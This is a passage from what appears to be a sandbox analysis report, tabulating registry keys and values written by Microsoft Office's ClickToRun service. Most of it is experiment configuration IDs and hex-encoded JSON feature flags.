2e41697253706163652e426c6f636b656447726170686963734164617074657234222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383434343234393330373934313932373b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b656447726170686963734164617074657235222c20225622203a20227374643a3a77737472696e677c33323930323b303b303b303b383732353732343238343635343239363b323b303b303b303b303b3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e41697253706163652e426c6f636b6564477261706869637341646170746572436f756e74222c20225622203a2022696e7433325f747c3522207d205d2c2022464347726f75704d61705f3222203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e476c6f62616c5265736f75726365496e666f4361636865456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e46696c65494f2e53686f756c644d69677261746546726f6d4f72617069222c20225622203a2022626f6f6c7c3122207d205d2c2022464347726f75704d61705f3322203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e437a656368456e746572707269736547726f757032222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e4f7074696f6e4f766572726964652e6373222c20225622203a20227374643a3a77737472696e677c4772616d6d617220616e6420726566696e656d656e74733a3a53657875616c206f7269656e746174696f6e20626961733d3022207d205d2c2022464347726f75704d61705f3422203a205b207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e42697a426172222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e766173426f6f742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e766173446f63756d656e7452656164792d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e766173466c6f6f64676174652d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734c6963656e73696e674469616c6f6752656e65772d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734c6f63616c4f70656e446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734c6f63616c53617665446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f444253617665446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f6e6544726976654f70656e446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f6e65447269766553617665446f63756d656e742d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f757453706163654f70656e2d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d43616e7661734f757453706163655361766541732d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d466c6f6f6447617465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f66666963652d496e41707050757263686173652d57696e3332222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54617267657465644d6573736167696e672e456e61626c65537572666163652e4f75745370616365222c20225622203a2022626f6f6c7c3022207d205d207d207d | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigIds = "std::wstring|P-R-1098158-1-5,P-R-76757-1-2,P-R-54903-1-3,P-R-26146-7-17,P-D-29635-1-1,P-D-27087-1-9,P-R-79688-1-3,P-R-53532-1-5,P-R-51436-1-6,P-R-51427-18-12,P-R-40464-18-9,P-X-98518-6-9,P-R-38390-18-21,blockedgraphicsadapter5:475899,P-R-35099-2-4,P-R-61408-18-3,P-R-55746-2-5,P-R-53512-1-4,P-R-46974-18-18,P-R-38953-1-11,P-R-36551-18-18,P-R-71414-1-6,P-R-40253-6-19,P-R-40254-6-18,P-R-35401-6-7,P-R-32107-22-22,P-R-39146-14-15,P-R-39147-14-20,P-R-28546-6-11,P-R-28165-6-28,P-R-24980-8-48,P-R-24390-5-12,P-R-18279-2-65,P-D-34200-4-5,P-R-51145-2-7,P-R-29928-2-20,P-R-67932-1-4,P-R-67201-1-4,P-R-64545-1-4,P-R-64035-1-4,P-R-53515-18-9,P-R-53280-1-6,P-R-52247-1-5,P-R-51958-1-5,P-R-51842-1-5,P-R-51277-2-6,P-R-47451-18-20,P-R-45919-18-19,P-R-45085-18-12,P-R-41442-18-18,P-R-38085-12-9,P-R-18744-6-22,P-D-34239-1-6,P-R-1034169-10-7,P-E-28677-C1-3,P-R-55122-8-8,P-R-50255-10-9,P-R-44907-1-9,P-R-45314-10-16,P-R-44965-2-6,P-X-1240823-2-3,P-E-38231-C1-4,P-R-1245662-16-4,P-R-94560-14-12,P-R-94189-14-13,P-R-93882-14-26,P-R-54728-16-23,P-R-54698-16-16,P-R-54658-18-19,P-R-38306-C17-3,P-R-35717-5-30,P-R-34019-4-3,win32devicecanarycf:541484,win32devicecanarycf:541484,P-X-53845-1-9,P-X-53772-1-3,P-X-51790-1-3,P-E-42700-C1-4,P-R-1025232-24-9,P-R-71358-1-4,P-R-70941-1-4,P-R-69065-1-3,P-R-67160-1-7,P-R-59781-1-4,P-R-55631-1-4,P-R-54215-1-4,P-R-53751-1-4,P-R-53752-1-4,P-R-53526-1-4,P-R-52110-1-4,P-R-49765-15-32,P-R-48818-17-25,P-R-50679-1-4,P-R-50486-18-12,P-R-44830-18-13,P-R-49416-4-14,P-R-48457-2-6,P-R-47974-16-18,P-R-46544-18-11,P-R-45609-14-6,P-R-45197-2-6,P-R-44046-18-11,P-R-44015-18-20,P-R-43723-2-6,P-R-41742-18-32,P-R-40980-18-16,P-R-40359-2-10,P-R-39029-5-18,P-R-38835-18-48,P-R-37676-18-46,P-R-36310-4-5,P-R-35945-10-5,P-R-35165-2-7,P-R-35143-4-4,P-R-33553-4-6,P-R-33536-12-13,P-R-29809-1-7,P-R-26968-3-9,fiser190:377704,happy03172020-1:61977,happy02062020-0:28428,P-R-53545-4-5,P-R-50711-18-11,P-R-49736-6-22,P-R-48467-18-18,P-R-32106-7-33,P-R-30085-1-9,P-R-29138-38-83,P-R-29315-36-69,P-R-25009-1-8,P-R-24363-1-13,P-R-21631-10-64,P-R-19898-1-22,P-R-19814-1-62,P-R-19012-1-57,P-X-50220-1-3,P-X-49730-1-3,P-R-69347-1-5,P-R-64574-1-4,P-R-54116-1-4,P-R-53585-18-18,P-R-52594-18-5,P-R-52386-1-4,P-R-50980-2-4,P-R-50938-1-4,P-R-50152-18-20,P-R-49175-18-22,P-R-47260-18-23,P-R-44156-18-26,P-R-43284-18-19,P-R-43285-12-22,P-R-42482-1-4,P-R-40990-12-15,P-R-39333-18-28,P-R-35439-12-21,P-R-33215-18-19,P-R-31352-12-25,P-D-34269-2-5,gruse488:570358,grico406:19777,P-R-49830-18-15,P-R-40586-18-27,P-R-32996-18-24,P-D-40316-9-5,P-R-50429-18-8,P-R-65295-18-30,P-R-61861-1-4,P-R-61737-1-4,P-R-51777-18-8,P-R-50920-1-6,P-R-50366-18-19,P-R-35985-14-23,P-R-35891-18-5,P-R-32004-2-5,P-R-68336-2-4,P-R-67286-2-6,P-R-51513-2-4,P-R-79963-1-2,P-R-52043-1-3,P-R-51764-1-4,P-R-49388-2-6,P-R-48335-4-16,P-R-47308-3-9,P-R-42392-2-4,P-R-39073-1-5,P-R-1123376-10-10,P-R-1009855-12-14,P-R-98856-18-48,P-R-43489-30-13,P-R-38410-12-23,P-X-1019581-1-3,P-X-1006174-1-5,P-R-66436-1-4,P-R-62873-1-4,P-R-51097-1-5,P-R-50706-18-7,P-R-50055-18-7,P-R-49315-18-5,P-R-42660-18-35,P-R-36649-8-9,oemic639:397753,oeall843:375887,P-R-42379-2-3,P-R-42378-2-3,P-R-66539-1-4,P-R-66538-1-4,P-R-65278-1-4,P-R-65279-1-4,P-R-59180-1-4,P-R-48070-1-5,P-R-47386-1-4,P-R-55342-2-2,P-R-53377-2-6,P-R-52481-2-5,P-R-49759-2-8,P-R-46100-20-9,P-R-38510-2-10,P-R-37550-20-13,P-R-32186-C27-29,P-R-58135-2-4,P-R-56618-1-3,P-R-56027-1-4,P-R-61718-18-3,P-R-46145-18-18,P-R-33892-1-8,P-R-33696-1-5,P-R-55749-1-4,P-R-53662-1-4,P-R-52246-1-4,P-R-52245-1-4,P-R-52238-1-5,P-R-43644-6-13,P-R-39912-1-2,P-R-39283-4-10,P-R-50380-18-18,P-R-50379-18-17,P-R-68146-1-5,P-R-63409-1-5,P-R-50542-18-14,P-R-50500-18-16,P-R-48365-18-24,P-R-48161-18-32,P-R-46597-1-4,P-R-33737-1-4,P-E-29662-C1-3,P-R-29303-2-20,P-R-56654-2-4,P-R-53256-2-11,P-R-51703-1-5,P-R-50133-2-9,P-R-47242-18-11,P-R-46410-1-5,P-R-45550-C17-46,P-R-45490-16-9,P-R-44885-18-20,P-R-42512-1-3,P-R-40169-8-13,P-R-39700-2-7,P-R-32143-5-18,P-R-37313-18-22,P-R-36664-4-4,P-R-35476-2-5,P-R-35407-4-3,P-R-35237-14-11,P-R-35150-2-4,P-R-35129-2-4,P-R-35056-4-5,P-R-34889-8-4,P-R-34044-2-4,P-R-33718-6-5,P-R-33459-1-5,P-R-30292-4-7,P-R-28644-1-4,P-R-24037-1-7,P-R-23445-3-7,P-R-23434-3-7,P-R-23403-3-8,P-R-18513-1-30,P-D-34699-4-4,P-D-34697-2-4,P-D-34675-1-4,P-D-34673-1-4,P-D-34654-1-4,P-D-34587-3-5,P-D-34266-1-4,P-D-34262-1-5,P-D-34260-1-5,P-D-34258-2-5,P-D-32465-1-5,P-D-32459-2-4,P-D-32458-5-4,P-X-1083427-2-5,P-R-69529-1-5,P-R-65011-1-3,P-R-53622-18-4,P-R-50541-2-7,P-R-49893-22-9,P-R-36932-2-13,jh8ab447:380633,P-R-69232-18-13,P-R-23681-2-7,P-D-32502-2-3,P-D-32501-2-3,P-D-32415-2-3,P-R-64513-18-11,P-R-51916-84-31,P-R-1267084-2-5,P-R-1258784-1-3,P-R-1245296-4-6,P-R-1236953-2-4,P-R-1175793-1-3,P-R-1157570-2-4,P-R-1132821-2-4,P-R-1119013-1-3,P-R-1098796-1-3,P-R-1094445-1-3,P-R-1080412-1-3,P-R-1069769-2-4,P-R-1068115-1-3,P-R-1045118-2-4,P-R-25269-14-21,P-R-1044408-1-3,P-R-1044141-7-9,P-R-1037887-1-3,P-R-1037879-1-3,P-R-1036293-1-3,P-R-1036292-1-3,P-R-1036289-2-4,P-R-1036288-1-3,P-R-1036068-2-4,P-R-1035933-2-4,P-R-1035149-2-4,P-R-1033817-1-3,P-R-1028168-1-3,P-R-1009717-3-5,P-R-1000061-2-4,P-R-117548-2-4,P-R-111682-1-3,P-R-105731-36-38,P-R-104435-13-15,P-R-100294-1-3,P-R-99633-1-3,P-R-98929-2-4,P-R-98250-1-3,P-R-94299-1-3,P-R-93077-1-3,P-R-86118-1-3,P-R-80517-7-9,P-R-78112-4-6,P-R-77140-2-4,P-R-76918-2-4,P-R-76721-1-3,P-R-75440-2-4,P-R-73676-1-3,P-R-72449-7-10,P-R-72030-4-6,P-R-68069-2-4,P-R-66975-1-3,P-R-65567-1-3,P-R-62212-2-4,P-R-60602-3-5,P-R-52633-1-3,P-R-52171-2-4,P-R-52011-2-4,P-R-51921-8-10,P-R-51258-8-10,P-R-50752-2-4,P-R-50681-2-4,P-R-50599-4-6,P-R-50596-4-8,P-R-50553-1-3,P-R-49597-3-5,P-R-49458-2-4,P-R-48530-7-9,P-R-47948-1-4,P-R-46580-3-5,P-R-46484-10-12,P-R-46122-1-3,P-R-45858-2-4,P-R-43966-2-4,P-R-43502-19-21,P-R-38248-19-23,P-R-41430-1-3,P-R-40751-8-10,P-R-40273-4-6,P-R-39238-5-7,P-R-38682-3-5,P-R-37588-2-4,P-R-34355-8-10,P-R-26266-4-9,P-R-26834-3-8,P-R-24662-16-22,P-R-27479-6-11,P-R-26056-7-15,P-R-27006-7-12,P-R-30338-3-7,P-R-30178-79-81,P-R-30053-8-10,P-R-27458-1-5,P-R-25822-16-19,P-R-25083-6-9,P-R-24690-42-46,P-R-24689-2-5,P-R-24666-2-5,P-R-24663-6-11,P-R-24659-7-10,P-R-23744-7-9,P-R-23739-7-9,P-R-23736-14-17,P-R-23734-7-9,P-R-23730-21-24,P-R-23723-10-12,P-D-32588-1-3,P-D-32534-1-3,P-D-32524-1-3,P-D-32518-1-3,P-D-32512-1-3,P-D-32509-1-3,P-D-32485-1-4,P-D-32484-1-4,P-D-32405-1-3,P-R-1087141-4-7,P-R-49160-12-12,P-R-47601-18-13,P-R-46834-12-14,P-R-46202-18-11,P-R-44018-18-13,P-R-43355-18-12,P-R-35337-16-7,P-R-33916-1-5,P-R-33580-8-9,P-X-117400-1-3,P-R-59175-18-4,P-R-53292-14-10,P-R-49130-18-23,P-R-46913-18-8,P-R-37449-18-15,uxmediumiconluminance:353455,P-R-48549-18-11,P-R-19262-1-12,P-E-44774-2-9,P-R-44869-16-16,P-R-33918-1-11,P-R-1128630-1-7,P-R-1098412-1-5,P-R-1091267-1-51,P-R-81720-1-2,P-R-58406-1-5,P-D-50697-2-4,P-D-29719-1-1,P-D-29718-1-1,P-D-29593-1-6" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\Expires = "int64_t|0" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|3" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages\en-US = "1" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\TrustCenter\Experimentation | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.3 = 224622203a20224d6963726f736f66742e4f66666963652e4964656e746974792e55736553706f436f6f6b696546726f6d53616d6554656e616e74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e44617465546f5573654d6963726f736f6674333635466f72436f6e73756d657273222c20225622203a20227374643a3a77737472696e677c323032302d30342d32315430303a30303a30302e302b30303a303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e44617465546f5573654d6963726f736f6674333635466f72534d42222c20225622203a20227374643a3a77737472696e677c323032302d30342d32315430303a30303a30302e302b30303a303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e456e61626c6547726163655769746857414350726f6d6f427573426172222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e456e61626c654d6f6465726e41464f222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e486561727462656174446179734265666f726545787044617465222c20225622203a2022696e7433325f747c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e4e6f456e7469746c656d656e747353656c6653657276696365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e4e6f456e7469746c656d656e74735472794275794578706572696d656e7454726561746d656e74222c20225622203a2022696e7433325f747c3222207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e53686f77564e6578745369676e4f75744469616c6f67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e5573655265666163746f726564436f6e666967446570726f766973696f6e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4c6963656e73696e672e5573655265666163746f726564476574557365724c6963656e7365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4d616e6167656162696c6974792e436c6f7564506f6c6963792e4e6f6e5075626c6963436c6f7564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4d616e6167656162696c6974792e54656e616e744173736f63696174696f6e4b65792e4e6f6e5075626c6963436c6f7564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4d616e6167656162696c6974792e5573654f637073563255726c496e57696e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4e616e63794f66666963655465616d2e7a686574616e34313232303231222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e416c6c6f7741626f7274517569636b436865636b45777353657276696365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e416c6c6f7741626f7274517569636b436865636b4f6d657853657276696365222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4368616e6765476174652e496e766f6b6546657463684d616e696665737443616c6c6261636b4f6e446f776e6c6f61644d616e6966657374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4368616e6765476174652e557365436c6f6e6564496e7374616e6365466f724572726f72222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4368616e6765476174652e56616c6964617465446f776e6c6f61645265736f7572636573222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4469616c6f6754776f5761794d6573736167696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e456e61626c654d696e43616368655265667265736820222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4964656e746974794361636865466f72636552656672657368222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e4f7366496e7374616c6c6572526567697374657242675461736b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e506572557365724964656e746974794d696e4361636865222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e506572557365724964656e74697479526962626f6e4361636865222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f45502e5765624b69743246756c6c4469616c6f67415049222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f4d45582e456e61626c65456e7465727072697365436f6d416464696e536574436f6e6e656374496e7465726e616c5570646174654576656e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f4d45582e456e61626c65456e7465727072697365436f6d416464696e556e68616e646c6564457863657074696f6e4576656e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6172742e456e61626c65416972537061636547726f757044726167466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6172742e456e61626c65496e736572744d6564696154656c656d65747279222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e4170706c652e43576f726b73706163655573657255736555726c46726f6d526177556e69636f6465537472696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e4368616e6765476174652e53686f77494150456e747279222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e44656570426174636853746f7265456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e52656e6465725570646174656457696e333252656458222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f6e654e6f74652e53686f756c645573654e6574436f7374496e73746561644f664d736f426c6f636b696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e4c6173744d696c6554656c656d6574727954726163657274222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e5063782e4c696e6b6564496e4b32466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e5063782e5063784a756e65323031394275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e526970636f72642e33363134383230222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e526970636f72642e33393039323635222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e4f75746c6f6f6b2e526970636f72642e33393435323833222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5043582e526970636f72642e56534f2e33363432383036222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572666f726d616e63652e426c6f636b696e6757616974732e4f737250726f63657373222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572666f726d616e63652e4368616e6765476174652e586c426f6f74436f6d706c657465416674657246696c654f70656e416e6453706c61736853637265656e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e456e61626c65476574496e736967687473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e456e61626c6553656e645369676e616c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e47657455736572466163747354696d656f75744d696c6c697365636f6e6473222c20225622203a2022696e7433325f747c3530303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506572736f6e616c697a6174696f6e2e557365476574496e736967687473466c6f77466f724665746368696e67476f7665726e616e636544617461222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e436865636b56696577496e536c6964654a616e69746f724f62736572766572222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e466f726365536f6674776172654d696e69617475726552656e646572696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e4d657267652e5573655468726f77696e674c69666567756172645374657073222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e4368616e6765476174652e536c69646553686f772e52656c65617365536c69646553686f774d616e616765724265666f726547667853687574646f776e222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e48616e646c65434c524372617368222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e506f776572506f696e742e53756767657374696f6e732e456e61626c65436f6e74656e745265636f6d6d656e646174696f6e4974656d73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e50726f6a6563742e50726f6a65637443325253657276657232303133436f6e6e656374696f6e426c6f636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e50726f6a6563742e50726f6a65637443656e74656e6e69616c53657276657232303133426c6f636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e50726f6a6563742e50726f6a65637443656e74656e6e69616c53657276657232303133436f6e6e656374696f6e426c6f636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e434c502e5570646174655374617475734261724f6e50726f66696c65537769746368222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e43656e7472616c697a6564457874656e73696f6e536166657479436865636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e49524d2e5758505644697361626c654c6f616454656d706c617465734f6e426f6f74222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e4973457874656e73696f6e496e4c697374557064617465222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e4d6f6e69746f72656446696c65457874656e73696f6e4c697374222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e50726f74656374696f6e536572766963652e4e657755784d6f64656c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e53686f756c6452756e436c6f75645365637572697479506f6c696379436865636b222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e53656375726974792e5573654e6f526566436f756e74416d736953747265616d222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e436c6f7564222c20225622203a20227374643a3a77737472696e677c5075626c696322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e46617374465445222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e4d53495442697a63686174416c6c6f776c697374222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e4d6f636861222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e4f584f416c6c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e50657270657475616c4c6963656e7365222c20225622203a20227374643a3a77737472696e677c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5365676d656e746174696f6e2e5365676d656e74222c20225622203a20227374643a3a7773747